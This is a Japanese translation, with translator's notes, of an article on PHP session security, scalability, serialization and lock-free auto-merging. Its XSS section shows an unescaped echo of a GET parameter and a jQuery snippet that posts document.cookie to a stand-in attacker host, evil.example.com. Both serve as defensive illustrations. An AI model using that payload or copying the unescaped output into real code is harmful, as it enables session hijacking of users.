【翻訳】徹底解説！ PHP のセッション

PHP のセッションについて詳しく書かれた記事を見つけたので、訳しました。
原文は [PHP Sessions in Depth](https://www.phparch.com/2018/01/php-sessions-in-depth/) です。

セッションを全く知らない人向けというよりは、セッションを普段なんとなく使っている人向けの記事かと思います。
個々のトピックスについてはもっと深く書かれた記事もあると思いますが、複数のトピックスをまとめて扱った記事は少ないように思ったのが訳そうと思ったきっかけです。

なお、今回はかなり意訳気味なのでご了承ください。あと、個人的な勉強も兼ねて訳注をかなり付けています。

# 徹底解説！ PHP のセッション

>PHP のセッションは軽視されがちです。セッションとは、ページをまたいで持続し、ユーザーに固有のデータを保持する魔法の配列のことです。大半の Web アプリケーションにおいて、それは夢のようなもので、無くてはならないものです。しかし、間違った使い方をすると、セッションは、重大なセキュリティーホール、パフォーマンスやスケーラビリティーにおける問題、そしてデータ破損を引き起こす可能性があります。セッションについて深く理解することは、PHP で Web 製品を開発するのに必要不可欠です。

>この記事に掲載されているベスト・プラクティスは全て https://github.com/edu-com/php-session-automerge にオープンソースの参考実装としてまとめられています。

## 実践

```php:リスト1
<?php
session_start();

if(!isset($_SESSION['counter'])) {
    $_SESSION['counter'] = 0;
}

$_SESSION['counter']++;
echo $_SESSION['counter'];
```

リスト 1 のコードは、数字をインクリメントし、出力しています。ページを再読込するたびに、数字は増えていきます。このスクリプトを 2 台の異なるコンピューターで開くと、それらは別々のカウンターを持つことになります。どうなっているのでしょうか？ それぞれのコンピューターはどのように識別されているのでしょうか？ カウンター変数はどこに保存されているのでしょうか？

セッションは ID で一意に定義されています。このセッション ID は、ユーザーのコンピューターに Cookie の状態で保存されていて、リクエストするたびにサーバーに渡されます。実際のデータ（カウンター変数）はサーバーに保存されていて、セッション ID でインデックス化されています。

セッションはギフトカードのようなものです。それぞれのカードはユーザーが持ち、カードには ID が一意に振られています。実際のデータ（残金）は中央のデータベースで管理されています。もし誰かがあなたのギフトカードを盗んで店で使おうとした場合、それは何も聞かれることなく受け付けられます。店はカードに記載されている ID を見るだけで、カードが誰のものなのかまでは考えないからです。

PHP のセッションも同じように動作します。もし攻撃者があなたのセッション ID を盗んだ場合、サーバーに疑われることなく、彼らはあなたに成りすますことができます。これは「セッションハイジャック」と呼ばれ、長年、重大なセキュリティー問題となっています。

## PHP セッションのセキュリティー

攻撃者がユーザーの PHP セッション ID を盗む方法には、主に 4 つの方法があります。

### セッション固定化

1 つ目の攻撃手法は「セッション固定化」（Session Fixation）と呼ばれています。[^1] 攻撃者はあなたのサイトを訪れて、自分に割り当てられたセッション ID を取得します。例えば、彼らが ID `12345` を取得したとしましょう。攻撃者がユーザーを罠にかけて（訳注: 自分が取得したのと）同じ ID でセッション Cookie をセットする方法を見つけられれば、彼らはユーザーのアカウントを有効に乗っ取ることができます。

[^1]: 【訳注】IPA の [セキュアプログラミング講座](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/305.html) では「セッション ID のお膳立て」と呼ばれています。

Java の世界では、セッション ID を URL 経由で渡すことがやや普及しています。あなたも複数のサイトで URL に `JSESSIONID` が含まれているのを見かけたことがあるでしょう。[^2] これは攻撃者がユーザーにセッション ID を強制するのにはもってこいの方法です。攻撃者からすれば、あとは `?JSESSIONID=12345` を含むリンクをユーザーにクリックさせるだけだからです。PHP のバージョン 4.3 以降では、PHP は同じように動作していました ー URL でセッション ID を渡していたのです。幸いなことに、バージョン 5.3 で、PHP はこのセキュアでない機能を無効にするようにデフォルトを変更しました。古いフレームワークや非常に古い PHP のバージョンを使っていない限り、「セッション固定化」攻撃から守るために何かする必要はないはずです。とはいえ、php.ini で `session.use_only_cookies` が有効になっていること [^3] と `session.use_trans_sid` が無効になっていること [^4] を確認しておいても損はないでしょう。

[^2]: 【訳注】「URL リライティング」（URL Rewriting）と言われています。もともとは Cookie を使えない環境向けに用意された機能でしたが、現在では Tomcat 等の設定で変更可能です。詳しくは [Java/ServletとJSESSIONIDのURL管理](https://www.glamenv-septzen.net/view/1093) を参照。

[^3]: 【訳注】PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.use-only-cookies) を参照。デフォルトは `1`（有効）。

[^4]: 【訳注】PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.use-trans-sid) を参照。デフォルトは `0`（無効）。

モダンな PHP アプリケーションに関連した攻撃手法は他にもありますが、それらは汎用的な攻撃手法で、「セッション固定化」に特化したものではありません。「サイドジャッキング」や「クロスサイトスクリプティング」（両方とも以下で取り上げます）へ対処することは、「セッション固定化」攻撃を防ぐ上でも有効です。

### サイドジャッキング

2 つ目の攻撃手法は「サイドジャッキング」（Sidejacking）と呼ばれています。それは中間者攻撃によく似ていて、攻撃者はユーザーとサーバーのあいだの通信を傍受します（通常は公共の Wi-Fi ネットワークで行われます）。「サイドジャッキング」はリクエストに干渉せずに、受動的に待ち受けてデータを記録します。Cookie は HTTP ヘッダーとして平文で渡されるので、攻撃者は簡単にセッション ID を盗むことができます。

では、HTTPS はどうでしょうか？ HTTPS は通信を暗号化することで、この問題を解決するのではないでしょうか？ Yes とも No とも言えません。たしかに、適切に HTTPS を設定することで、あなたとユーザーとのあいだの全ての通信を確実に暗号化することができます。ただし、重要な注意事項が 1 つあります。それは、ユーザーがアドレスバーに何を入力するかまで制御することはできないということです。例えば、ユーザーが以前にあなたのサイト https://example.com を訪れたことがあって、セッションが確立済みであるとしましょう。ユーザーは公共 Wi-Fi ホットスポットにいて "example.com" とアドレスバーに入力します。すると、ブラウザーは http://example.com へリクエストを送信し、そのサイトのよりセキュアなバージョン（訳注: https://example.com ）への 301 リダイレクトを受け取ります。ユーザーにとっては全てがうまくいっているように見えるでしょうが、すでにダメージを受けています。なぜなら、最初のリクエストは暗号化されておらず、セッション ID を含む全ての Cookie を含んでいるからです。攻撃者がユーザーに成りすましてアカウントを乗っ取るのにはそれで十分です。

PHP には、この脅威を取り除くことのできるシンプルな設定項目があります。php.ini の `session.cookie_secure` フラグ（デフォルトでは off になっています）[^5] を設定することで、モダンブラウザーが暗号化されていないリクエストでセッション Cookie を決して送信しないようにし、あなたのユーザーを安全な状態に保つことができます。[^6]

[^5]: 【訳注】PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.cookie-secure) を参照。本文にあるとおり、デフォルトは `off`（無効）。

[^6]: 【訳注】IPA の「セキュアプログラミング講座」の「[セッション乗っ取り：#3 https:の適切な適用](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/304.html)」も参照。「Cookieにsecure属性をつける」は上記 `session.cookie_secure` を設定することで対応できます。また、「ユーザがログインに成功した時点でそれまでのセッションIDを無効にして新たなセッションIDを発行し直す」については、ログイン成功後に `session_regenerate_id(true)` を実行することが知られています。

### クロスサイトスクリプティング攻撃

残念ながら、HTTPS とセキュアな Cookie を使っても、あなたのサイトはまだセッションハイジャックに遭う可能性があります。セッションハイジャックの 3 つ目の攻撃手法は、「クロスサイトスクリプティング攻撃」（XSS、Cross-Site Scripting attack）を使う方法です。[^7] 例えば、`GET` 変数を出力する前にサニタイズ [^8] を忘れたとしましょう：

[^7]: 【訳注】IPA の「セキュアプログラミング講座」の「[スクリプト注入: #1 ふたつの攻撃](https://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/304.html)」も参照。

[^8]: 【訳注】日本では、「サニタイズ」は意味が広すぎて使うべきでないという [指摘](http://takagi-hiromitsu.jp/diary/20051227.html#p02) も過去にはあったようですが、ここでは原文を尊重しておきます。コード例から察するに、ユーザーが入力した検索語句を画面に出力するプログラムのように見えますが、この場合は `htmlspecialchars()`（[PHP マニュアル](http://php.net/manual/ja/function.htmlspecialchars.php)）を使って `$_GET['search_term']` に含まれる特殊文字を変換する必要があります。

```html
<p>
    Sorry, no results for
    <em><?= $_GET['search_term'] ?></em>
</p>
```

このとき、攻撃者はあなたのページに任意の HTML （と JavaScript）を挿入することができます。通常、サードパーティー製の JavaScript は、あなたのサイトの Cookie にアクセスできないようになっています。Web ブラウザーには「クロスオリジンポリシー」（cross-origin policies）があるからです。[^9] しかし、サーバーから返ってきた HTTP レスポンスの中に JavaScript が直接挿入されている場合には、ブラウザーはそれを信頼できるものと判断して Cookie への完全なアクセス権を与えます。攻撃者がやらなければならないのは、以下のコードを出力するリンクを誰かがクリックするようにすることだけです（読みやすいように jQuery を使います）：

[^9]: 【訳注】 一般的には「同一オリジンポリシー」あるいは「同一生成元ポリシー」と言われます。概要は [Wikipedia](https://ja.wikipedia.org/wiki/%E5%90%8C%E4%B8%80%E7%94%9F%E6%88%90%E5%85%83%E3%83%9D%E3%83%AA%E3%82%B7%E3%83%BC) を、詳細は [MDN](https://developer.mozilla.org/ja/docs/Web/Security/Same-origin_policy) を参照。

```html
<script>
$.post(
    "https://evil.example.com/attack.php",
    {cookies: document.cookie}
)
</script>
```

このシンプルなスクリプトによって、攻撃者のサイトへ、ユーザーの全ての Cookie （PHP のセッション ID を含む）が送信されます。幸いなことに、Cookie に対して **HttpOnly** を設定することで、ブラウザーはこれをほぼ解決します。この設定によって、JavaScript から Cookie へアクセスできないようにすることができます。Cookie の値はリクエストするたびに渡されますが、`document.cookie` と `XMLHttpRequest` はアクセスすることができません。そして、IE6 よりもあとにリリースされた事実上全てのブラウザーで、この設定は動作します！ あなたがやらなければならないのは、php.ini で `session.cookie_httponly` [^10] を有効にすることだけです。

[^10]: 【訳注】PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.cookie-httponly) を参照。デフォルトは空文字（無効）。

セッションハイジャックは、攻撃者が XSS を使用する方法の 1 つに過ぎません。攻撃者は、あなたのサーバーへ不正な `POST` リクエストを行うことで、メールアドレスを変更したり、購入したり、個人情報を盗むことができます。HttpOnly で Cookie を保護していたとしても、HTML インジェクションの脆弱性を防ぐことは依然として非常に重要です。Chrome と Safari には、一般的なインジェクション攻撃を防ぐ XSS Auditor （訳注: XSS フィルター）がありますが、新たな抜け道は絶えず発見されています。

最もセンシティブな Web サイトでは、「コンテンツ・セキュリティー・ポリシー」（CSP、Content Security Policy）を有効にすることができます。CSP を有効にした場合、あなたのサイトにあるインラインの JavaScript とスタイルをデフォルトで全てブロックします。それでもまだ、攻撃者はリモート JavaScript（`<script src="https://evil.example.com/attack.js"></script>`）を使うことで、XSS を悪用することができます。CSP では、許可されたドメインのホワイトリストを作ることもできます。もし *evil.example.com* がホワイトリストに存在しない場合、ブラウザーはそれに対するあらゆるリクエストをブロックします。「コンテンツ・セキュリティー・ポリシー」は大半のサイトにとってはセットアップやメンテナンスが難しいものですが、セキュリティーの最高レベルを要求する人々にとっては選択肢となります。詳しくは [コンテンツ・セキュリティー・ポリシー](https://developer.mozilla.org/ja/docs/Web/HTTP/CSP) を参照してください。

しかし、XSS に対する一番良い防衛策は、ユーザーの入力を常にサニタイズするようにすることです。あなたのサイトに HTML インジェクションの脆弱性が存在しなければ、何も怖れることはありません。まだ不安ですか？

### マルウェア

セッションハイジャックの最後の手法はやや異なっています。攻撃者はさまざまな方法を使って、ユーザーのコンピューターにマルウェアをインストールしたり、物理的にアクセスします。そうして、攻撃者はファイルシステムやメモリーからセッション ID を直接コピーすることができるのです。あなたはユーザーがマルウェアをインストールしてしまうのを防ぐことはできませんが、彼らのアカウントを守るために実施できる複数の手法があります。ユーザーが重要な変更をしようとしたり、何かを購入しようとするときには、その前に再認証を求めましょう。ユーザーのアカウントデータが変更されたときにはユーザーにメールで通知しましょう。「二要素認証」（two-factor authentication）を要求しましょう。[^11] セッションの有効期限を短く設定し、"remember me" Cookie を使わないようにしましょう。

[^11]: 【訳注】「二要素認証」とは、「本人だけが知っていること」「本人だけが所有しているもの」「本人自身の特性」の 3 要素のうち 2 つが揃っていることを求める認証方法のことです。例えば、ワンタイムパスワードや指紋認証を使います。詳しくは [Norton ブログ](https://japan.norton.com/two-factor-authentication-8528) を参照。

アプリケーションの中でも特に重要なフローでは必ず再認証させるようにするべきです。Google Authenticator のような「二要素認証」を組み入れるための PHP ライブラリーが存在します。[^12] しかし、これらのセキュリティー手法は無料ではなく、適切に実装するためにはかなりの開発期間を要します。レイヤーを何個追加するかは、あなたがどれだけこだわりたいかと、あなたのサイトの性質に依ります。ネット銀行はこれらの手法全てを実装するべきでしょう。一方、小さな情報サイトはこれらの手法のどれも選ばないかもしれません。

[^12]: 【訳注】Google Authenticator とは、ワンタイムパスワードを生成するスマホのアプリのことです。ユーザーは認証する際、ID やパスワードとともに、専用アプリの画面に表示されるワンタイムパスワードを入力します。これにより「二要素認証」が実現できます。PHP のライブラリーでは [Google2FA](https://github.com/antonioribeiro/google2fa) というものが存在します。Laravel での実装例については、[Laravel 5で2段階認証（2要素認証）を実装する方法（Google Authenticator利用）](https://s8a.jp/laravel-google-authenticator) を参照。

## PHP セッションのパフォーマンスとスケーラビリティ

続いて、パフォーマンスとスケーラビリティーの最適化について見ていきましょう。まず最初に、裏でセッションがどのように動いているのかを理解する必要があります。デフォルトでは、それぞれのセッションは、セッション ID をファイル名にして、ファイルシステムに保存されます。[^13] セッションファイルは `session_start()` が呼び出されたときに一度読み込まれ、`session_close()`  [^14] が呼び出されるか、スクリプトが終了したときにディスクに書き込まれます。競合を避けるために、スクリプトが実行されている間、セッションファイルはロックされます。パフォーマンスとスケーラビリティーを最適化したいときは、セッションファイルの保存方法とロックに着目しましょう。

[^13]: 【訳注】セッションファイルの保存先は `php.ini` の `session.save_path` で設定することができます。デフォルトでは空文字になっていますが、`/tmp` に保存されることが多いようです。詳しくは PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.save-path) を参照。

[^14]: 【訳注】PHP の標準関数に `session_close()` は存在しません。おそらく原著者は `session_write_close()` （[PHP マニュアル](http://php.net/manual/ja/function.session-write-close.php)）を意図していると思われます。

### 保存方法

保存方法から見ていきましょう。デフォルトでは、それぞれのセッションはファイルシステム上の別々のファイルに保存されます。古いセッションを削除してディスクの空き容量を確保するために、PHP は定期的にガーベジコレクションを実行します（`session.gc_probability`、`session.gc_divisor`、`session.gc_maxlifetime` で設定することができます[^15] ）。容量の大きいサイトでは、ガーベジコレクションは非常に重たい処理となるかもしれません。しかし、ファイルシステムにはさらに大きな問題があります ー スケーラビリティーです。単一サーバーで動作するアプリケーションの場合には、ファイルは問題なく動作しますが、複数サーバーへ拡張しようとした途端に動作しなくなります。ロードバランサーの IP スティッキー（IP-sticky）機能を使うことで、ユーザーを常に同じサーバーへ向かわせることもできますが、これは長期的に見て良い解決策とは言えません。アクティブなサーバーのリストが変わると（例えばサーバーのうち 1 台がクラッシュした場合）、ユーザーは新しいマシンへルーティングされ、セッションは切れてしまうでしょう。[^16]

[^15]: 【訳注】PHP は、セッション初期化処理が呼ばれるたびに `session.gc_probability` / `session.gc_divisor` の確率でガーベジコレクションも起動し、`session.gc_maxlifetime` で定められた秒数分更新のないセッションを削除します。`session.gc_probability` のデフォルト値は `1`、`session.gc_divisor` のデフォルト値は `100`、`session.gc_maxlifetime` のデフォルト値は `1440` です。つまり、デフォルトでは、セッション初期化処理を呼ぶと 1% の確率でガーベジコレクションが起動し、1440 秒（＝ 24 分）更新のないセッションを削除します。詳しくは PHP マニュアルの [実行時設定](http://php.net/manual/ja/session.configuration.php#ini.session.gc-divisor) を参照。

[^16]: 【訳注】AWS のロードバランサーである ELB では「スティッキーセッション機能」と言うようです。[【基礎から学ぶ】ELBのスティッキーセッションについてまとめてみた](http://blog.serverworks.co.jp/tech/2017/01/05/elb-sticky/) がとても分かりやすい記事になっています。

本当のスケーラビリティーでは必要に応じてサーバーを追加したり削除できるものですが、そのためには Web サーバーが状態を保持しない（ステートレスな）マシンになっていなければなりません ー どのサーバーもあらゆるユーザーからのリクエストにレスポンスを返せるようになっているべきです。これを実現するためには、全ての Web サーバーが共有している中心部に PHP セッションを保存する必要があります。サーバー間でファイルを共有するには複数のやり方が存在しますが（NFS、GlusterFS 等々）、どれも本番環境では設定やメンテナンスが大変です。もっと良いやり方が必要です。

そこで Redis と Memcached です！ これらはいずれも（訳注: 処理速度の）速い key/value 型のデータベースです。基本的に、セッションデータをファイルに保存しないならば、中央のデータベースにセッションデータを保存することになるでしょう。ネットワークの待ち時間が発生するため若干の性能劣化が起きるようになりますが、通信量の多いサイトでは、スケーラビリティーが簡単に行えることは性能劣化を補って余りあるでしょう。ところで、あなたはどちらを選びますか？ Redis でしょうか、Memcached でしょうか？ 両者を比較した解説記事をたくさん見つけることができるでしょう。Twitter と GitHub は Redis を使っています。一方、Facebook と Netflix は Memcached を使っています。両方のデータベースとも、本番環境での堅牢さを持ち、驚くほど高速です。ですから、正しい選択は 1 つだけではありません。


> **こういうときはセッションのためにデータベースを使いましょう：**
>
> 1. 複数の Web サーバーがある
> 2. サーバーを追加したり削除する可能性がある
> 3. サーバーを追加したり削除するときにセッションデータを失いたくない
>
>これら 3 つの条件を満たさない場合は、デフォルトのファイルへ保存する仕組みを安心して使い続けることができます。

php.ini の設定項目（例えば `session.save_handler = redis`）を使って保存方法を変更する PHP 拡張モジュールが存在します。しかし、こうした機械的なやり方では、後ほど見るセッションロックに関する問題を解決することができません。セッションから最高のパフォーマンスを引き出すには、自分で `SessionHandler` クラスを作成し、`SessionHandlerInterface` によって定義されている若干の単純なメソッドを実装する必要があるでしょう。[^17] 基本的な使い方は以下のとおりです：

[^17]: 【訳注】こうした独自に作成したセッションハンドラーのことを「カスタムセッションハンドラー」と呼びます（[PHP マニュアル](http://php.net/manual/ja/session.customhandler.php)）。`SessionHandlerInterface` を実装したカスタムセッションハンドラーは `session_set_save_handler()` で設定することで、デフォルトのハンドラーの代わりに使われるようになります。例えば、MySQL にセッションデータを保存するカスタムハンドラーを作成して `session_set_save_handler()` で設定すれば、MySQL へセッションデータが保存されるようになります。

```php
class MyHandler implements SessionHandlerInterface {...}
$handler = new MyHandler();
session_set_save_handler($handler, true);

// `session_set_save_handler` のあとに呼ばれなければならない
session_start();
```

> **注意:** AWS を使っている場合、もう 1 つの保存方法の選択肢として [DynamoDB](https://docs.aws.amazon.com/aws-sdk-php/v2/guide/feature-dynamodb-session-handler.html) があります。AWS は Memcached や Redis サーバーをホストする ElastiCache も提供しています。両方とも自分でデータベースサーバーをセットアップしたりメンテナンスするのに代わる良い代替案です。

### シリアライズ

さて、ここで少し寄り道をして、シリアライズについて見ておきましょう。PHP の `$_SESSION` 変数は連想配列です。ファイルシステムやデータベースに保存するには、このデータ構造は文字列へシリアライズされる必要があります。PHP はセッション用に最適化されたシリアライズメソッドを使います（通常の `serialize` 関数とは異なります）。それは比較的速くコンパクトです。[MessagePack](https://pecl.php.net/package/msgpack) や [igbinary](https://github.com/igbinary/igbinary) のようなその他のライブラリーを使えば、若干速く動作したり、若干小さな文字列を作ることができるかもしれませんが、普通は、そこまで凝ったことをする必要はありません。唯一の例外は、PHP と NodeJS のような別の環境とのあいだでセッションを共有することを計画している場合です。こうした場合には、PHP 独自のシリアライズフォーマットの代わりに MessagePack や JSON のような標準を使うのはもっともなことです。

整数や文字列、配列といったプリミティブなデータを `$_SESSION` に保存するだけならば、シリアライズは単純明快です。しかし、オブジェクトを保存する場合、状況は複雑になります。オブジェクトはシリアライズされたときからアンシリアライズされるまでのあいだに副作用を持っていることがあります。例えば、イケてないコードでマジックメソッド `__sleep` と `__wakeup` が呼ばれた場合には例外が送出される可能性があります。さらに、オブジェクトをセッションに保存する場合、オブジェクトのクラスはアプリケーション全体で `include` されなければなりません。Composer のようなオートローダーを使っている場合には、通常、問題になりませんが、それが意味するのは、完全なオートローダーを `include` しなければ、もはやセッションを使って簡単なスクリプトさえ書くことができないということです。もう 1 つの潜在的な落とし穴は、シリアライズするとき、スタティックなプロパティーは保存されないということです。もし、オブジェクトがスタティックなプロパティーに依存していた場合、セッションから復元しても上手く動かないでしょう。そして最後に、クラスのインスタンスがセッションに保存されている場合に、クラスをアップデートするのは困難なことです。もしセッションから取り出したオブジェクトが古いバージョンであった場合、それは新しいクラスのシグネチャーで復元されます。バージョン間の変更が小さい場合には上手く動くかもしれませんが、場合によっては、例外を発生させたり、テストやデバッグが非常に難しい副作用を引き起こす可能性があります。

こうした潜在的な問題を考慮して、私はセッションにオブジェクトを保存しないことを強くオススメします。もしユーザーをログインしたままにしておきたいならば、`$_SESSION` にユーザークラスのインスタンスを保存するのではなく、ユーザー ID だけを保存しておき、データベースやキャッシュからそのユーザーのオブジェクトを取り出すようにしましょう。[^18] PHP が魔法のように全てを片付けてくれるのに比べると、それはやや面倒なことですが、オブジェクトをシリアライズしないことで、あなたのアプリケーションはより安定的に、そして、より移植しやすいものになるでしょう。

[^18]: 【訳注】セッションはデータベースと異なり、あくまでも **一時的に** データを保存しておくためのものです。セッションが何らかの理由で破損や消滅した場合のことを考慮していますか？ 通常、セッションデータは時間が経てば削除されるため、障害が発生した場合の原因調査や復旧は極めて困難なものとなるでしょう。処理に必要なデータを全てセッションに保存して画面から画面へ持ち回っているようなプログラムがあるとすれば、設計から検討し直すべきです。

### セッションのロック

今日、PHP アプリケーションにとって、セッションのロックは最大のパフォーマンス上の問題の 1 つです。思い出してください。PHP のセッションは、リクエストの最初に 1 度読み込みが行われ、最後に 1 度書き込みが行われます。この状況は競合状態やデータの衝突が発生するには十分なものです。例えば、設定情報をセッションにセットするシンプルな API エンドポイントがあるとしましょう（例えば *theme* と *volume*）。

開始したときのセッションの値は以下のようになっていたとします：

```php
[ "theme" => "blue",
  "volume" = >100]
```

ユーザーが非常に短い間隔ですばやく 2 回リクエストを行った場合はこうなります。まず、リクエスト A は `theme` を `“red”` にセットし、リクエスト B は `volume` を `50` にセットします。もしリクエスト A が `session_close()` を呼ぶ前にリクエスト B が `session_start()` を呼ぶ場合、当初の `theme` の値 `“blue”` が読み込まれます。このとき、リクエスト B が `session_close()` を呼ぶと、リクエスト B は値 `["theme"=>"blue", "volume"=>50]` をセッションへ書き込み、リクエスト A が行った変更を上書きします。こうした競合状態は、アプリケーションがバグだらけであるという印象を与えるとともに、より深刻な問題を引き起こす可能性もあります（例えば、ユーザーはログアウトしたつもりなのに、API がユーザーの状態を「ログイン」に上書きする場合を想像してみてください）。

PHP の開発者たちは、この問題をセッションのロックによって解決することにしました。`session_start()` が呼び出されると、PHP はセッションファイルの排他的ロックを要求します。もし別のリクエストがすでにロックを獲得している場合には、PHP はそこで止まって、ロックが解放されるのを待ちます。`session_close()` によってデータがファイルへ再び書き込まれるか、スクリプトの実行が終了すると、ロックは解放されます。その結果、各ユーザーあたり 1 つのリクエストのみを同時に実行できることになります。

これで問題解決！ そうでしょうか？ 例えば、先程の API リクエストが実行に 1 秒掛かると想像してみてください。セッションのロックがなければ、並列に呼び出しが行われるので、合計時間はわずか 1 秒です。しかし、セッションのロックが有効になっていると、呼び出しは順々に実行されるので 2 秒かかります。この例では大した問題ではありませんでしたが、AJAX 経由で大量の API 呼び出しをサーバーへ行う単一ページのアプリケーションを考えてみましょう。もしそれぞれのリクエストが前のリクエストが処理完了するのを待たなければならないとしたら、ひどくレスポンスの悪いアプリケーションだという印象を与えるかもしれません。Education.com （訳注: 著者の所属先企業）では、1 リクエストあたり 180 ミリ秒掛かっていたところ、セッションのロックを無効にしただけで、1 リクエストあたり 100 ミリ秒へと縮めることができました。これを示したのが図 1 です。

![figure1.png](https://qiita-image-store.s3.amazonaws.com/0/141299/f1e6936a-ee01-79d1-550a-af0e2657a4f8.png)


サイトをスピードアップするためにセッションロックを無効にすることができますが、そうすることで私たちは 1 つのジレンマに陥ります。遅いけれどもデータの整合性が保たれているページか、データが破損するかもしれないけれども速いページか、私たちはどちらかを選ばなければなりません。もっといい方法はないものでしょうか！

### 自動マージ

最初にこの問題に遭遇したとき、私はすぐに Git のようなバージョンコントロールシステムと似ていると思いました。例えば、2 人がブランチをチェックアウトし、同じファイルに対して作業して、プッシュしたとします。すると、同様の競合状態の衝突が発生します。Git は衝突を無視して 2 番目の開発者に 1 番目の開発者の変更を上書きさせるようにすることもできたでしょう。あるいは、Git は PHP のやり方を採用して、ロック機能を実装することもできたでしょう ー その場合、ブランチをチェックアウトするときにブランチをロックし、あなたが作業を終えて変更をマージするまで、他の誰もファイルをプルできないようにします。これらは両方とも開発者にとっては非常に苦痛です。幸いなことに、Git の開発者たちはもっと洗練されたやり方を採用しました： インテリジェントな自動マージ機能です。[^19] それは、2 人の開発者がファイルの異なる部分に対して作業していた場合（例えば、1 人は上部に対して、もう 1 人は下部に対して作業していた場合）、開発者が何もしなくても Git が 2 つのバージョンを自動でマージしてくれます。大半の衝突を回避しながら ”ロックしない” というやり方を採用することで、フルスピードを得ることができるのです。もし 2 人の開発者が同じファイルの同じ行を変更した場合はどうでしょうか？ Git はどのように自動でマージするべきか分からないので、開発者が手動でどのように変更をマージするべきかを決める必要があります。

[^19]: 【訳注】Git のマージ機能については [3.2 Git のブランチ機能 - ブランチとマージの基本](https://git-scm.com/book/ja/v2/Git-%E3%81%AE%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E6%A9%9F%E8%83%BD-%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E3%81%A8%E3%83%9E%E3%83%BC%E3%82%B8%E3%81%AE%E5%9F%BA%E6%9C%AC) を参照。

この Git の自動マージというやり方（若干手を入れる必要はありますが）は、PHP のセッションにもとてもうまく動作することができます。基本的な方針は以下のとおりです：

1. セッションに対するロックを全て無効にします。
1. `session_start()` が呼ばれたとき、最初のセッションの状態を記録しておきます。
1. `session_close()` が呼ばれたとき、リクエストのあいだに変更された箇所の差分を作ります。
1. データベースから最新のセッションデータを再取得します。
1. 最新のセッションデータに差分を適用します。
1. セッションをデータベースへ書き込みます。

リスト 2 に示す [セッションハンドラ](https://github.com/edu-com/php-session-automerge/blob/master/src/SessionHandlerBase.php) の `write()` メソッドに実装を示します。セッションの `$newState` がわかれば、変更を適用することができます。

```php
<?php
// 外部セッションにそれぞれの変更を適用する
// 衝突に対しては適切な自動解決ルールを選択する
foreach ($changes as $k => $change) {
   $initial = isset($this->initialState[$k])
            ? $this->initialState[$k] : null;
   $external = isset($externalState[$k])
             ? $externalState[$k] : null;

   if ($externalState[$k] === $this->initialState[$k]) {
      // 外部の変更と衝突がない場合は新しい値を単に適用するだけ
      $externalState[$k] = $change;
   } else {
      // 外部の変更と衝突がある場合は解決を試みる
      try {
         $externalState[$k] = $this->resolveConflict(
            $k, $initial, $change, $external
         );
      } catch (Exception $e) {
         $this->logError('Error resolving session conflict for `'
                         . $k . '``: ' . $e->getMessage());
         // 新しい値を使ってフォールバックする
         $externalState[$k] = $change;
      }
   }
   if ($externalState[$k] === null) {
      unset($externalState[$k]);
   }
}
```

注意すべきことがいくつかあります。第一に、ステップ 4 と 6 のあいだで、競合状態が発生する可能性が、まだ残っています。ステップ 4 から 6 へは素早く処理が進むため、競合状態はごく稀にしか発生しませんが、もしまだ心配でしたら、ページの読み込み時間に大きな影響を与えることなく、ロック機能をこれらのステップにのみ実装することができます。

第二に、衝突が発生した場合にステップ 5 で開発者に手動で介入するかを確認する高級な機能はありません。ですから、私たちはプログラム的にどうするべきかを決めなければなりません。例えば、ユーザーが訪問した全てのページの ID をセッションに配列として保存しているとしましょう（`$_SESSION['history'][] = $pageid`）。差分を取得し、リクエストのあいだに追加された新しいページ ID を確認し、それらをセッション内の最新の `history` 配列へ適用するコードが必要となるでしょう。このロジックは特定のユースケースに対して非常に特化したものとなっており、一般化することは困難です。しかし、少数の重要なセッションキーに対しては、こうした特化したロジックは非常に上手く動作することができます。その他の場合については、常に値を上書きするという単純なフォールバックのルールを適用することができます。例えば、ユーザーが訪れた最後のページを保存している場合（`$_SESSION['lastpage'] = $pageid`）、特に何かをする必要はありません。外部で行われた変更を無視して、値を上書きすることができるからです。

特定のユースケースに特化したロジックを、上書きしてフォールバックするやり方と組み合わせて使うことで、あなたが心配しているセッション変数に対してデータの一貫性を強く保つことができ、さらにリクエストをロックしないという真の意味で非同期であるやり方からフルスピードを得ることもできます。

保存方法と同様に、ロックの振る舞いを変更する内蔵の方法はありません。ですから、あなたは自分で `SessionHandler` クラスを作る必要があります。

## まとめ

この記事では、あなたのサイトの PHP のセッションを、安全に、速く、そしてスケーラブルにするための多くの方法を取り上げました。

第一に、**HTTPS** をサイト全体で使いましょう。使わない場合、攻撃者があなたのユーザーのセッション ID を容易に盗み、ユーザーに成りすますことができます。

第二に、いくつかの **php.ini 設定** を設定し、セキュリティーを向上させましょう:

- `session.cookie_secure`: 安全な HTTPS リクエストでのみ、ブラウザーがセッション Cookie を送信することを確認しましょう。
- `session.cookie_httponly`: JavaScript がセッション Cookie へアクセスしないようにし、よくある XSS 攻撃を防ぎましょう。
- `session.use_only_cookies`: これを有効にすることで「セッション固定化」攻撃から守ることができます。
- `session.use_trans_sid`: これを無効にすることも「セッション固定化」攻撃から守るのに役立ちます。

あなたが追加したいと考えているセキュリティのレベルに応じて、以下の対策を講じましょう：「コンテンツ・セキュリティ・ポリシー」、「二要素認証」、PHP セッションの有効期限を短くすること、アカウントが変更された場合のメール通知。

第三に、容易に水平スケーラビリティが実現できるように、**Redis または Memcached** のような分散型システムに、セッションデータを保存するようにしましょう。もしセッションデータを NodeJS や別の言語と共有したい場合には、デフォルトの PHP 固有のメソッドの代わりに、MessagePack や JSON シリアライズのような標準的なフォーマットを使いましょう。

第四に、セッションには **プリミティブなデータ型** のみを保存しましょう ー オブジェクトを保存するために悩むのは無駄です。

第五に、サイトのスピードアップのために **ロック機能を無効化** し、自動的に大半の衝突を回避するために **自動マージ** を使いましょう。解決できない衝突が残った場合には、特定のユースケースに特化したマージロジックに、上書きしてフォールバックするルールを組み合わせましょう。

車輪の再発明をする必要はありません。冒頭で述べたように、これらのベスト・プラクティスは https://github.com/edu-com/php-session-automerge にオープンソースの参考実装としてまとめられています。

